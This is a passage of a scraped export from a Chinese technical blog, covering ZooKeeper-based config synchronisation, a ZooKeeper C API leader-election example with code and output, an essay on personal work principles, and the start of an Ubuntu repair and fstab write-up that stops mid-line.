“并行”，但不知为何生产环境中实际运行时偶尔会出现异常，该异常发生在DB中，影响很大。有时还会导致DB的一些异常现象。至今原因尚未明确， 我们无奈退回到以前的方案。\n第二次改进：从Push模式到Pull模式\n在之前部门新规划的一个产品中，开发人员对数据同步的机制做了重新的设计，将原来的Push模式改为了Pull模式。大致方案是：\n* 业务数据变更时，trigger直接将变更内容（以老方案中那个协议包的打包格式）写到一个“变更日志表”中，每条记录有一个唯一的序号，序号递增。\n* 应用节点启动后，从DB加载最新配置信息，查询“变更日志表”，得到该表内最新的一条记录的序号n。\n* 应用节点以“轮询”的方式定期查询“变更日志表”，并读取和解析那些序号比序号n更新的记录；更新完后，将继续保存最新的一条记录序号。\n* 数据库中有job定期对“变更日志表”中的记录进行过期删除处理。\n个人感觉第二个方案应该是理想方案的一个雏形，虽然目前它的同步更新可能不是那么及时，与DB交互过多（方案细节中每个应用节点在处理完一条记录 后还要更新记录的状态）。该方案设计者也完全也可以放弃那个导致耦合的协议包设计，但他最终还是选择保留了原有协议包解析函数。目前该方案在产品 环境下运行还算良好，并未暴露出什么问题。这算是一次有效的改进，也为本文中要提到的方案提供了一些思路启示。\n三、与时俱进\nZooKeeper生来就具备解决分布式系统的配置分发和同步的能力。利用ZooKeeper服务实现分布式系统的统一配置中心已经不是那么新鲜 的话题了。最简单的模型莫过于将配置数据存储在ZooKeeper上的路径节点上，然后应用节点在这些配置节点上添加watch。当配置数据变更 时，每个应用节点都可以及时得到通知，同步到最新数据。这种模型对于一些量少简单的系统配置来说较为合适。对于我们每个表动辄上万条配置的情形似 乎不那么适合，想象一下每个应用节点要添加上万个watch，这对ZooKeeper而言也是压力山大啊。因此用ZooKeeper提供的诸多服 务如何来优化我们上面提到的两个主要问题呢？这里提出一种方案仅供参考。\n方案示意图：\nDB —-\u0026gt; Config Center Services(css_agent + ZooKeeper) —\u0026gt; App Node\n在新方案中，我们要：\n保留 – 保留trigger脚本，作为业务数据变更的唯一的触发起点；\n摒弃 – 摒弃那个复杂的带来耦合的协议格式；\n借鉴 – 借鉴“Push -\u0026gt; Pull”的数据获取方式。\n新方案中除了DB、应用节点(app_node)外，新增加了一个角色Config Center Services(缩写为ccs），ccs由ZooKeeper + ccs_agent的集群组成。简单起见，每个ZooKeeper节点上部署一个ccs_agent。这些角色之间的数据流和指令流关系，即该方案的原理 如下：\n* 初始化\n– ZooKeeper集群启动；\n– ccs_agent启动，利用ZooKeeper提供的leader election服务，选出ccs_agent leader。ccs_agent leader启动后负责在ZooKeeper中建立业务配置表node，比如：表employee_info_tab对应的node路径为“/ccs /foo_app/employee_info_tab”；\n– ccs_agent启动后会监听一个端口，用来接受DB trigger向其发起的数据链接；\n– 应用节点启动，监听ZooKeeper上所有（数量有限的）业务配置表node的child event；\n* 数据变更\n– DB中某业务表比如employee_info_tab增加了一条id为\u0026quot;1234567\u0026quot;的记录；\n– 触发器启动，向ccs_agent cluster中任意一个可用的节点建立链接，并将数据包“^employee_info_tab|ADD|1234567$\u0026ldquo;发送给 ccs_agent；\n– ccs_agent收取并解析trigger发来的数据包，在对应的/ccs/foo_app/employee_info_tab下建立ZOO_SEQUENCE类 型节点“item-000000000”，该节点的值为“ADD 1234567\u0026rdquo;；\n– ZooKeeper将/ccs/foo_app/employee_info_tab节点的child事件发给所有watch该节点事件的应用节点；\n– 应用节点“取出”/ccs/foo_app/employee_info_tab节点下的children节点\u0026quot;item-000000000\u0026quot;，并读取 其值，后续到DB的employee_info_tab中将id = 1234567的这条记录select出来，将该条记录更新到本地内存中。应用节点记录下处理过的当下节点id为\u0026quot;item-000000000\u0026quot;；\n– DB业务表employee_info_tab又增加了两条记录，id分别为\u0026quot;7777777\u0026quot;和\u0026quot;8888888\u0026quot;，经过上面描述的流程，/ccs /foo_app/employee_info_tab节点下会增加\u0026quot;item-000000001\u0026quot;和\u0026quot;item-000000002\u0026quot;两项； 应用节点最终会收到child事件通知。应用节点“取出”/ccs/foo_app/employee_info_tab节点下的所有 children节点并排序。之后，处理那些id号大于\u0026quot;item-000000000\u0026quot;的节点，并将当前节点id记录为“item- 000000002\u0026quot;。依次类推。\n* 过期处理\n– ccs_agent leader负责定期扫描ZooKeeper中/ccs下各个表节点下的子项，对于超出过期时间的item进行删除处理。\n* 应用节点重启\n- 应用节点重启后，会首先从db读取最新信息，并记录启动时间戳；\n- 应用节点重启后，在收到zookeeper的数据变更事件后，会根据当前时间戳与变更表节点下的item创建时间进行比较，并仅处理比启动时间戳新的 item的数据。\n这个方案主要利用了ZooKeeper提供的leader election服务以及sequence节点的特性，几点好处在于：\n– 串行通知变为并行通知，且通知到达及时；\n– 变更数据的Push模式为Pull模式，降低了或去除了诸多耦合，包括：\n1) 去除trigger脚本与表字段及字段顺序的耦合；\n2) 去除应用节点与表字段顺序的耦合；\n3) 降低应用节点与表字段构成的耦合。\n– 应用节点无需复杂的包解析，简化后期维护。\n当然为了该方案新增若干网元会给产品部署和维护带来一些复杂性，这算是不足之处吧。\n四、Demo\n这里有一个600多行代码的Demo，模拟新方案中几个角色：\nDB – trigger_sim.py\n应用节点 – app.c\nccs_agent – ccs_agent.c\n模拟的步骤大致如下（单机版）：\na) 启动ZooKeeper\n$\u0026gt; zkServer.sh start\nJMX enabled by default\nUsing config: /home1/tonybai/.bin/zookeeper-3.4.5/bin/../conf/zoo.cfg\nStarting zookeeper … STARTED\nb) 启动ccs_agent\n$\u0026gt; ccs_agent\nThis is [ccs-member0000000037], i am a leader\n/ccs node exists\n/ccs/employee_info_tab node exists\n/ccs/boss_info_tab node exists\ntrigger listen thread start up!\nitem expire thread start up!\nc) 启动app\nd) 使用trigger_sim.py模拟DB触发trigger\n$\u0026gt; trigger_sim.py employee_info_tab ADD 1234567\n可以看到ccs_agent输出结果如下：\ntable[employee_info_tab], oper_type[ADD], id[1234567]\napp的输出如下：\nchild event happened: type[4]\nitem-0000000015\nemployee_info_tab: execute [ADD 1234567]\n大约30s后，ccs_agent会输出如下：\n[expire]: employee_info_tab: expire [item-0000000015]\n模拟步骤在README里有写。这里仅是Demo代码，存在硬编码以及异常处理考虑不全面的情况，不要拍砖哦。\n","permalink":"https://tonybai.com/2013/08/28/implement-config-sync-for-distributed-system-with-zookeeper-services/","summary":"\u003cp\u003e\u003cem\u003e很多时候，一旦习惯了某些事情，也就习惯了它们的恶劣，习惯了它们的丑陋，习惯了它们“赋予”你的各种痛苦。\u003cbr\u003e\n                                                                                                                                                      – Tony Bai\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、痼疾难解\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e曾几何时，在那个还没有集群化，没有分布式的时代，它还是一个不错的方案，至少在线上没有暴露出太多问题，它也不在我们关注的重点范围之内。但随 着集群化、分布式的新版本的到来，那一大坨遗留的代码就变得格外让人不顺眼，同时问题也随之在线上暴露开来了。\u003c/p\u003e","title":"利用ZooKeeper服务实现分布式系统的配置数据同步"},{"content":"每次与Java组的同事们坐下来谈技术、谈理想、谈人生时，Java组的同事总会向我们投来羡慕的眼光：卧槽！又是自己开发的工具，太NB了。这时C程序 员们的脸上就会洋溢出自豪的笑容，然后内心骂道：谁让我们没有现成的呢。另一个空间里的某些“无C不欢”们或者某些“C Guru”们会骂道：靠，有了也不用，自己写！\n有时候，C程序员真的有一种下意识：不情愿使用其他语言开发的工具、框架或服务，且比其他程序员更爱“重新发明轮子”（有利有弊）。也许这是某种 骨子里的自负在搞怪；另外一个极端：今天和我聊天的一个经验丰富的C程序员还在忧虑：如果离职是否有公司会要他:(。\n其实这个时代的C程序员一直活得挺纠结^_^。\n这个世界，软硬件发展日新月异，越来越多的后端程序用Java等其他语言实现。Java高级选手在这个世界上也甚是吃香，这个你看看各大招聘网站 就知道了。再听听坊间“BAT”三巨头给出的高高在上的offer价格，也可以看出Java程序员是多么的有“钱途”和受欢迎了。当然拿好offer的前提是你的Java底子不薄。\n其实无论用什么编程语言，成为牛人后，钱途也都是杠杠的。\n没有什么好的开场白，于是有了上面一些“胡言乱语”。我们言归正传。\n本文是一篇初级技术博文。讲的是如何使用ZooKeeper C API通过ZooKeeper的服务实现分布式系统的Leader选举。当然这一试验是为了尝试解决我们自己的分布式系统在集中配置数据分发这一环节上的 一个“固疾”。还好我还不那么纠结，也没有重新实现ZooKeeper的冲动，于是我就用了ZooKeeper这一Java实现的成熟的分布式 系统的服务框架。\n* 搭建ZooKeeper服务环境\n– 下载官方stable release版本 – ZooKeeper3.4.5。解压后，将$ZooKeeper_INSTALL_PATH/bin加入到PATH变量中（其中ZooKeeper_INSTALL_PATH为解压后ZooKeeper-3.4.5目录的绝对路径）。\n– 试验环境下，最简单的ZooKeeper用法就是使用单机版。\n进入到$ZooKeeper_INSTALL_PATH/conf下，将zoo_sample.cfg改名为zoo.cfg，即可作为单机版ZooKeeper的配置文件。当然你也可以像我一样随意修改修改：\n# The number of milliseconds of each tick\ntickTime=2000\n# The number of ticks that the initial\n# synchronization phase can take\ninitLimit=5\n# The number of ticks that can pass between\n# sending a request and getting an acknowledgement\nsyncLimit=2\ndataDir=/home/tonybai/proj/myZooKeeper\n# the port at which the clients will connect\nclientPort=2181\n如果你要体验多机版ZooKeeper服务，那你还要继续动动手脚，以双机版为例，假设有两个ZooKeeper节点(10.0.0.13和10.0.0.14)：\n10.0.0.13上的ZooKeeper节点1的配置文件如下：\nThe number of milliseconds of each tick tickTime=2000\n# The number of ticks that the initial\n# synchronization phase can take\ninitLimit=5\n# The number of ticks that can pass between\n# sending a request and getting an acknowledgement\nsyncLimit=2\ndataDir=/home/tonybai/proj/myZooKeeper\n# the port at which the clients will connect\nclientPort=2181\nserver.1=10.0.0.13:2888:3888 server.2=10.0.0.14:2888:3888\n10.0.0.14上的ZooKeeper节点2的配置文件如下：\n# The number of milliseconds of each tick\ntickTime=2000\n# The number of ticks that the initial\n# synchronization phase can take\ninitLimit=5\n# The number of ticks that can pass between\n# sending a request and getting an acknowledgement\nsyncLimit=2\ndataDir=/home/tonybai/proj/myZooKeeper\n# the port at which the clients will connect\nclientPort=2181\nserver.1=10.0.0.13:2888:3888\nserver.2=10.0.0.14:2888:3888\n别忘了在每个节点的dataDir下分别创建一个myid文件：\n在10.0.0.13节点1上执行：\n$\u0026gt; echo 1 \u0026gt; myid\n在10.0.0.14节点2上执行：\n$\u0026gt; echo 2 \u0026gt; myid\n启动ZooKeeper执行：\n$\u0026gt; zkServer.sh start\n模拟一个客户端连到ZooKeeper服务上：\n$\u0026gt; zkCli.sh\n成功链接后，你将进入一个命令行交互界面：\n[zk: 10.0.0.13:2181(CONNECTED) 1] help\nZooKeeper -server host:port cmd args\nconnect host:port\nget path [watch]\nls path [watch]\nset path data [version]\nrmr path\ndelquota [-n|-b] path … …\n* 选主原理\nZooKeeper在选主过程中提供的服务就好比一栋名为\u0026quot;/election\u0026quot;小屋，小屋只有一个门，各节点只能通过这个门逐个进入。每个节点进入后， 都会被分配唯一编号(member-n)，编号n自小到大递增，节点编号最小的自封为Leader，其他节点只能做跟班的（follower) – 这年头还是小的吃香：原配干不过小三儿，小三儿干不过小四儿，不是么^_^！）。\n每当一个节点离开，ZooKeeper都会通知屋内的所有节点，屋内节点收到通知后再次判断一下自己是否是屋内剩余节点中编号最小的节点，如果是，则自封为Leader，否则为Follower。\n再用稍正式的语言重述一遍：\n各个子节点同时在某个ZooKeeper数据路径/election下建立\u0026quot;ZOO_SEQUENCE|ZOO_EPHEMERAL\u0026quot;节点 – member，且各个节点监视(Watch) /election路径的子路径的变更事件。ZooKeeper的sequence节点特性保证节点创建时会被从小到大加上编号。同时节点的 ephemeral特性保证一旦子节点宕机或异常停掉，其对应的member节点会被ZooKeeper自动删除，而其他节点会收到该变更通知，重新判定 自己是leader还是follower以及谁才是真正的leader。\n* 示例代码\n关于ZooKeeper的C API的使用资料甚少，但这里就偏偏要用C API举例。\nC API的安装方法：进入$ZOOKEEPER_INSTALL_PATH/src/c下面，configure-\u0026gt;make-\u0026gt;make install即可。\nZooKeeper的C API分为同步与异步两种模式，这里简单起见用的都是同步机制。代码不多，索性全贴出来。在这里能checkout到全部代码。\n/* election.c */\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;string.h\u0026gt;\n#include \u0026lt;unistd.h\u0026gt;\n#include \u0026ldquo;zookeeper.h\u0026rdquo;\nstatic int\nis_leader(zhandle_t* zkhandle, char *myid);\nstatic void\nget_node_name(const char *buf, char *node);\nstruct watch_func_para_t {\nzhandle_t *zkhandle;\nchar node[64];\n};\nvoid\nelection_children_watcher(zhandle_t* zh, int type, int state,\nconst char* path, void* watcherCtx)\n{\nint ret = 0;\nstruct watch_func_para_t* para= (struct watch_func_para_t*)watcherCtx;\nstruct String_vector strings;\nstruct Stat stat;\n/* 重新监听 */\nret = zoo_wget_children2(para-\u0026gt;zkhandle, \u0026ldquo;/election\u0026rdquo;, election_children_watcher,\nwatcherCtx, \u0026amp;strings, \u0026amp;stat);\nif (ret) {\nfprintf(stderr, \u0026ldquo;child: zoo_wget_children2 error [%d]\\n\u0026rdquo;, ret);\nexit(EXIT_FAILURE);\n}\n/* 判断主从 */\nif (is_leader(para-\u0026gt;zkhandle, para-\u0026gt;node))\nprintf(\u0026ldquo;This is [%s], i am a leader\\n\u0026rdquo;, para-\u0026gt;node);\nelse\nprintf(\u0026ldquo;This is [%s], i am a follower\\n\u0026rdquo;, para-\u0026gt;node);\nreturn;\n}\nvoid def_election_watcher(zhandle_t* zh, int type, int state,\nconst char* path, void* watcherCtx)\n{\nprintf(\u0026ldquo;Something happened.\\n\u0026rdquo;);\nprintf(\u0026ldquo;type: %d\\n\u0026rdquo;, type);\nprintf(\u0026ldquo;state: %d\\n\u0026rdquo;, state);\nprintf(\u0026ldquo;path: %s\\n\u0026rdquo;, path);\nprintf(\u0026ldquo;watcherCtx: %s\\n\u0026rdquo;, (char *)watcherCtx);\n}\nint\nmain(int argc, const char *argv[])\n{\nconst char* host = \u0026ldquo;10.0.0.13:2181\u0026rdquo;;\nzhandle_t* zkhandle;\nint timeout = 5000;\nchar buf[512] = {0};\nchar node[512] = {0};\nzoo_set_debug_level(ZOO_LOG_LEVEL_WARN);\nzkhandle = zookeeper_init(host, def_election_watcher, timeout,\n0, \u0026ldquo;Zookeeper examples: election\u0026rdquo;, 0);\nif (zkhandle == NULL) {\nfprintf(stderr, \u0026ldquo;Connecting to zookeeper servers error…\\n\u0026rdquo;);\nexit(EXIT_FAILURE);\n}\n/* 在/election下创建member节点 */\nint ret = zoo_create(zkhandle,\n\u0026ldquo;/election/member\u0026rdquo;,\n\u0026ldquo;hello\u0026rdquo;,\n5,\n\u0026amp;ZOO_OPEN_ACL_UNSAFE, /* a completely open ACL */\nZOO_SEQUENCE|ZOO_EPHEMERAL,\nbuf,\nsizeof(buf)-1);\nif (ret) {\nfprintf(stderr, \u0026ldquo;zoo_create error [%d]\\n\u0026rdquo;, ret);\nexit(EXIT_FAILURE);\n}\nget_node_name(buf, node);\n/* 判断当前是否是Leader节点 */\nif (is_leader(zkhandle, node)) {\nprintf(\u0026ldquo;This is [%s], i am a leader\\n\u0026rdquo;, node);\n} else {\nprintf(\u0026ldquo;This is [%s], i am a follower\\n\u0026rdquo;, node);\n}\nstruct Stat stat;\nstruct String_vector strings;\nstruct watch_func_para_t para;\nmemset(\u0026amp;para, 0, sizeof(para));\npara.zkhandle = zkhandle;\nstrcpy(para.node, node);\n/* 监视/election的所有子节点事件 */\nret = zoo_wget_children2(zkhandle, \u0026ldquo;/election\u0026rdquo;, election_children_watcher, \u0026amp;para, \u0026amp;strings, \u0026amp;stat);\nif (ret) {\nfprintf(stderr, \u0026ldquo;zoo_wget_children2 error [%d]\\n\u0026rdquo;, ret);\nexit(EXIT_FAILURE);\n}\n/* just wait for experiments*/\nsleep(10000);\nzookeeper_close(zkhandle);\n}\nstatic int\nis_leader( zhandle_t* zkhandle, char *myid)\n{\nint ret = 0;\nint flag = 1;\nstruct String_vector strings;\nret = zoo_get_children(zkhandle, \u0026ldquo;/election\u0026rdquo;, 0, \u0026amp;strings);\nif (ret) {\nfprintf(stderr, \u0026ldquo;Error %d for %s\\n\u0026rdquo;, ret, \u0026ldquo;get_children\u0026rdquo;);\nexit(EXIT_FAILURE);\n}\n/* 计数 */\nfor (int i = 0; i \u0026lt; strings.count; i++) {\nif (strcmp(myid, strings.data[i]) \u0026gt; 0) {\nflag = 0;\nbreak;\n}\n}\nreturn flag;\n}\nstatic void\nget_node_name(const char *buf, char *node)\n{\nconst char *p = buf;\nint i;\nfor (i = strlen(buf) – 1; i \u0026gt;= 0; i–) {\nif (*(p + i) == \u0026lsquo;/\u0026rsquo;) {\nbreak;\n}\n}\nstrcpy(node, p + i + 1);\nreturn;\n}\n编译这个代码：\n$\u0026gt; gcc -g -std=gnu99 -o election election.c -DTHREADED -I/usr/local/include/zookeeper -lzookeeper_mt -lpthread\n验证时，我们在不同窗口启动三次election程序：\n窗口1， election启动：\n$\u0026gt; election\nSomething happened.\ntype: -1\nstate: 3\npath:\nwatcherCtx: Zookeeper examples: election\nThis is [member0000000001], i am a leader\n窗口2，election启动：\n$\u0026gt; election\nSomething happened.\ntype: -1\nstate: 3\npath:\nwatcherCtx: Zookeeper examples: election\nThis is [member0000000002], i am a follower\n此时窗口1中的election也会收到/election的字节点增加事件，并给出响应：\nThis is [member0000000001], i am a leader\n同理当窗口3中的election启动时，窗口1和2中的election都能收到变动通知，并给予响应。\n我们现在停掉窗口1中的election，大约5s后，我们在窗口2中看到：\nThis is [member0000000002], i am a leader\n在窗口3中看到：\nThis is [member0000000003], i am a follower\n可以看出窗口2和3中的election程序又做了一次自我选举。结果窗口2中的election由于节点编号最小而被选为Leader。\n","permalink":"https://tonybai.com/2013/08/23/leader-election-using-zookeeper/","summary":"\u003cp\u003e每次与Java组的同事们坐下来谈技术、谈理想、谈人生时，Java组的同事总会向我们投来羡慕的眼光：卧槽！又是自己开发的工具，太NB了。这时C程序 员们的脸上就会洋溢出自豪的笑容，然后内心骂道：谁让我们没有现成的呢。另一个空间里的某些“无C不欢”们或者某些“C Guru”们会骂道：靠，有了也不用，自己写！\u003c/p\u003e","title":"利用ZooKeeper服务实现分布式系统的Leader选举"},{"content":"想了若干种开场白，但无论哪种都不能令我满意，于是索性就这么开场了。\n工作了若干年，不经意间就形成了自己的行事和决策风格，这里权且称之为工作原则吧。这些原则引导我制定工作目标、实施过程改善、作出方案决策、选择和培养团队人员以及进行自我改进等。我也相信这些原则是主观的、具有时间和环境局限性的。也许若干年后，随着我的角色和工作的变化，许多原则将 不再适用，但这不妨碍我现在将其总结和分享出来。\n* 对工作原则的认知\n原则就像定理一样，是你在决策以及行事前要参考的东西，它将对你的思维施加强大的因果影响，指引你一步一步的得到最终的结果。个人工作原则的行成 是一个逐渐认知、逐渐丰富的过程，与个人角色的影响力多寡有一定关系。最初入职场，你所能影响的范围较小，无非就是你所负责的那个一小块区域，更 多是与事儿打交道，似乎没有什么可以决策和选择的。你要做的就是按时保质地完成一个接着一个的任务。随着影响圈的扩大，你的行为将受到更多因素的 影响，你的思维计算开始变得复杂，你的潜意识告诉你这么做是正确的。久而久之，这种思维和行事方式就固化到你的大脑中了，形成了你的工作原则，并 且原则随着你的工作年头的增加而逐渐丰富。\n工作原则是个体的，主观的，也可能是错的，也许只适合你的角色，但不一定适合他人。如果两个人的工作原则一模一样，那估计是电视剧中的情形，纯属 巧合。\n有原则的工作观的行成时间因人而异，有的人初入职场就有，有的人要花上个几年时间，我就属于后者，缓慢型。\n有了原则，还要会使用原则，这或多或少与情商有关。有时候，折中或妥协不一定是最坏的结果。\n* 做事的原则\n【要结果，也要过程】\n现代企业更强调结果导向，业绩为先。在组织与个人的绩效考核中，结果确是极其重要的指标因素，这些都无可厚非。但我坚持的原则是要结果，也要过程。个人不 是临时工，不是完成一个任务后就要离职；团队也不是打一杖就要解散的，因此每打一杖，我们既要胜利，也要打得一个比一个漂亮 – 投入少，损伤少，战果卓著，我们的人民子弟兵不就是这么发展壮大起来的么 – 鸟枪换炮了。一成不变的过程损失的是个人以及团队未来 的竞争力。因此对于软件开发团队而言，要实施积极的过程改善，改善是融于任务的过程中的。没有代码评审的，整个 Reviewboard玩玩；打包构建不规范的，弄个maven或buildc试试；测试还靠人肉的，堆个自动化的测试框架（比如 robotframework）试试。过程的改善带来的是整体能力的提升，这就是我们除了结果之外所想要得到的。\n【从痛点出发】\n这是一条寻觅过程改善点的原则，很多人也都能意识到过程的一成不变，但却始终找不到下手改进的切入点；\n这也是一条组织内开启微创新的原则。在“创新”一词被用烂的今天，真正能找到组织内创新之路起点的人却少之又少。\n什么是痛点（pain point）？顾名思义，引发痛苦的点。放在组织以及过程范围内来说就是让员工或组织在内部活动过程中产生别扭、不爽以及痛苦的点。比如：每次搭建一个产 品模拟环境都要半天时间、每次都要两人/天才能完成新版本的接收测试、TMD谁提交的代码让工程编译不过去了。\n我的原则是努力去发现痛点，深入理解痛点，并尝试缓解或解决痛点。\n发现痛点的一个方法就是降低自己的忍受力，这样痛点才能得以放大。否则中国人都是极具耐性且勤奋的，一点点挫折或别扭之处或浪费时间的事情都不会被列为痛点 的。\n解决痛点的一个前提是对其深入的理解。有的痛点，我们感受到的只是其外在的表象，其深层次的东西是需要深入地理解和挖掘的。只有挖掘到深层次，才能对症下 药，药到病除。\n客户的痛点，往往是一种很好的引导产品演化或服务提升的途径。比如：到海底捞吃饭要排队，显然大家都不喜欢排队。海底捞的团队发现了客户们的这个痛点，向 排队客户提供了超出客户预想的服务。之后的事情大家都有所耳闻了：这一痛点的解决居然变成了海底捞的“招牌“。\n【事先谋划布局】\n我们知道要下好围棋，谋划布局是必不可少的。最佳布局是取得胜利的基石。要完成最佳的布局，需要棋手有对全盘的整体把握能力以及准确的时机判断能力。做事如下棋，尤其是在要完成一些重要且复杂的事情时，务必事先针对现状谋划出最佳的布局。\n在组织内部，资源和时间永远是有限的。要去完成一件不紧急但重要事情的时候，往往不能立即得到全部的资源以及充足的时间，甚至得不到其他人的认可（因意 识、眼光等种种原因）。一些自下而上发起的改善措施，甚至是得不到任何资源的。只能充分评估已有的资源和时间，以设定好的节奏稳步前进，取得一些阶段性的 成果。当时机成熟时，公开成果以获得领导的首肯以及各种资源来完成后面的计划。我在组织内部推行知识管理时就是这样布局的，而这个局花了两年多时间才基本 完成。\n大局大作，小局小作。关键是以敏锐的眼光准确的判断形势，以确定是否该落下下一颗棋子以及落在何处。\n【不违背工作节奏规律】\n人不是机器，无法始终绷紧神经开全挂埋头苦干。人工作效率的高低和产出成果多寡符合一定的规律曲线，大致分为三个阶段：充电期、发光期与衰减期。\n不同年龄段的人的充电期、发光期、衰减期的长短不同，这个很好理解。年轻人发光期相对长，充电和衰减相对短。随着年龄的增加，发光期缩短，充电和衰减期变长。\n每个人要对属于自己的那个工作节奏做好充分认知。让发光期更有效率（每天高效利用8小时），让充电期集聚更多能量（身体上的、精神上的和知识技能上的），调整衰减期的工作内容。\n下班后尽量做与工作无关的事情（例如做自己的开源项目、融入家庭生活），努力追求工作与生活的平衡，是有利于提升充电效率的。\n长久违背这一自然规律，将使得节奏变得紊乱，而紊乱后的代价还是蛮高的。\n组织由个体组成，组织也因此呈现出一定的工作节奏，我们在考虑组织的工作负荷时不要忘了这一点。\n【时刻抱有危机感】\n危机感让人警醒，并保持持续向前的动力和热情。\n时刻问自己：如果你离开当前公司，是否能瞬即得到其他同等或更好的公司的青睐。这种危机感让你会主动追随技术潮流的发展方向，武装自己，提升自己，让自己的受欢迎度维持在高位。\n组织也是一样，没有永恒不落的公司，没有永恒不落的行业。即便是百年老店IBM，也是在沙场中几经沉浮。危机感让组织持续寻找新的业务方向、积累新鲜的技术食粮，为将来残酷的竞争做着准备。\n【通过提升平台能力，提升整体能力】\n与逐个培训和激励个体提升相比，组织整体能力的提升是更具性价比的。人是最复杂的动物，基因的万千变化使得自然界的人类个体差异十分巨大，这表现在智商、 兴趣、理想、热情等多个方面。用内容一致的课程对员工进行所谓的培训，收到的效果自然千差万别，整体提升有限。\n但如果将个体所在的平台的能力进行提升，就好比将传统的人工生产线换成机器人流水线，员工们要做的只是改变一下自己的行为，新的行为甚至比之前的操作更为简单，我们就可以得到整体的能力提升。\n这种方法的划算之处还在于即便在人员流失的情况下，新进的人员在这套平台或规程下段时间内也能达到相同的生产力，即便新人在各个方面都远逊色于离开的老员工。\n* 用人的原则\n【但求最适合，不求最优秀】\n理想情况下，所有组织都希望能招到世界上最优秀的员工 – 能力最强，效率最高。但事实上在IT行业里，世界范围内集聚牛人的公司也就那么几家，绝大多数公司的员工都是很平凡的，我所在的公司更是如此。中国的IT 牛人多聚集在北上广等一线城市，那里的IT环境好，待遇优越。但没有牛人不代表无法完成工作。在现有的可用资源下，我要找的是最适合的人 – 他们在技术方面不要求十分优秀，也许只是可以胜任，但却与其工作角色十分匹配。甚至于有些角色还真的不适合牛人去做，或大才小用，或热情耐心不足（要知道 牛人一般都很自负的，对某些工作不屑一顾，自然也不会投入热情和耐心）。\n【充分授权，服务到位】\n实战是考验一个人的最好工具。通过实战，人员能力还将能得到最快的提升。因此从人员能力培养的角度上去看，我更愿意给予下属充分的授权，让他们放手去做。当然伴以检查与辅导，尽量减少他们走弯路的可能。\n在授权前，还要充分考虑到他们即将遇到的各种困难。并事先协调资源，给他们提供周到的服务，以帮助他们顺利完成工作任务。这些服务有可能是一些基础设施平台，也有可能是一些预研储备的技术方案。就好比武侠小说中的妙计锦囊，在关键时候可以帮助下属度过难关。\n","permalink":"https://tonybai.com/2013/08/19/my-personal-work-principles/","summary":"\u003cp\u003e想了若干种开场白，但无论哪种都不能令我满意，于是索性就这么开场了。\u003c/p\u003e\n\u003cp\u003e工作了若干年，不经意间就形成了自己的行事和决策风格，这里权且称之为工作原则吧。这些原则引导我制定工作目标、实施过程改善、作出方案决策、选择和培养\u003ca href=\"http://tonybai.com/2012/11/01/some-experience-on-team-management/\"\u003e团队\u003c/a\u003e人员以及进行自我改进等。我也相信这些原则是主观的、具有时间和环境局限性的。也许若干年后，随着我的角色和工作的变化，许多原则将 不再适用，但这不妨碍我现在将其总结和分享出来。\u003c/p\u003e","title":"我的工作原则"},{"content":"今天一早发现Ubuntu 12.04坏掉了，于是用了大半天对其做了修复，修复过程十分坎坷，但结果还不错，遂记之以备忘。\n* 毁掉Ubuntu\nUbuntu坏掉完全是由于我的错误决策。昨天一天Ubuntu桌面右上方的状态拦一直有一个红色的错误提示符，提示系统包冲突，建议执行sudo apt-get install -f解决。apt-get也提示索引冲突，无法卸载和安装任何包。于是执行了sudo apt-get install -f，虽然我不知道这个命令对系统做了哪些更改。但结果是那个错误提示符的确不见了。\n不过等到晚上回家启动电脑后才发现笔记本的快捷键都不好用了。比如无法通过fn+f6 or f7对屏幕亮度进行调节（默认启动时是最大亮度，太刺眼，每次都要调）。更要命的是声音快捷键居然不好用了，而且其为关闭状态。并且状态栏上到小喇叭也无 法点击，“系统设置-\u0026gt;声音”也根本打不开。没有声音，如何听歌看电影啊，于是乎想到了upgrade。\n执行upgrade，有400多M的包要升级，于是让电脑自己升级，我去睡觉去了。今天早上起来发现Ubuntu upgrade ok了。重启、引导，似乎一切似乎很正常。但输入密码登录后，画面就始终停留在墙纸背景上了。啥都没有出现。快捷键依旧无法使用，反复重启几次均如此，超 级杯具了！\n* 重装Ubuntu\n上班后，试图用livecd引导修复Ubuntu，但ubuntu没有修复菜单选项，要么删除当前已经安装的ubuntu 12.04.2并重新安装，丢弃HOME路径下的数据；要么就是保持现有版本OS不动，新安装一个OS，原OS HOME路径下的数据不会有损失。我只能选择后者。这时我才发现，livecd在我的笔记本中发现的已有OS版本居然变成了ubuntu 12.10！靠，upgrade居然直接将12.04.2升级到了12.10。\n原12.04.2安装在/dev/sda1分区，livecd将该分区拆分成两个分区，有点类似于Win7高级磁盘分区工具中对大分区的压缩，压缩后变成安装了老系统的/dev/sda1和新分区/dev/sda10，livecd在/dev/sda10上面安装新系统。\n新Ubuntu很快就安装好了，重启后顺利的进入了桌面，一切正常。接下来又是老一套，恢复数据+装软件。\n* 自动挂接各分区\n由于采用的是默认安装，没有自定义挂接点，于是需要手工编写/etc/fstab文件，将诸多分区做自定义挂接，使之能在系统启动时自动挂接。\n首先执行sudo blkid，查看各分区信息：\n$\u0026gt; sudo blkid\n/dev/sda1: UUID=\u0026ldquo;d0d1424b-e3a8-43d9-887a-1c58c64ecff3\u0026rdquo; TYPE=\u0026ldquo;ext3\u0026rdquo;\n/dev/sda5: UUID=\u0026ldquo;8bda8d60-b5cb-43aa-b408-dd6ce4957923\u0026rdquo; TYPE=\u0026ldquo;ext3\u0026rdquo;\n/dev/sda6: UUID=\u0026ldquo;c415cf1c-624c-42ce-a8a6-6c072b5ee232\u0026rdquo; TYPE=\u0026ldquo;ext3\u0026rdquo;\n/dev/sda7: UUID=\u0026ldquo;b8f6c810-bbb0-458c-8306-7b4a834ad726\u0026rdquo; TYPE=\u0026ldquo;swap\u0026rdquo;\n/dev/sda8: UUID=\u0026ldquo;E208-E865\u0026rdquo; TYPE=\u0026ldquo;vfat\u0026rdquo;\n/dev/sda9: UUID=\u0026ldquo;6BB3-FA39\u0026rdquo; TYPE=\u0026ldquo;vfat\u0026rdquo;\n/dev/sda10: UUID=\u0026ldquo;1477776e-fe68-40f6-9804-c752b5efb149\u0026rdquo; TYPE=\u0026ldquo;ext4\u0026rdquo;\n接下来编辑/etc/fstab，该文件中swap分区以及前面的分区是系统安装时就设置好的。后面三个是我自己设置的：\n# proc /proc proc nodev,noexec,nosuid 0 0\n# / was on /dev/sda10 during installation\nUUID=1477776e-fe68-40f6-9804-c752b5efb149 / ext4 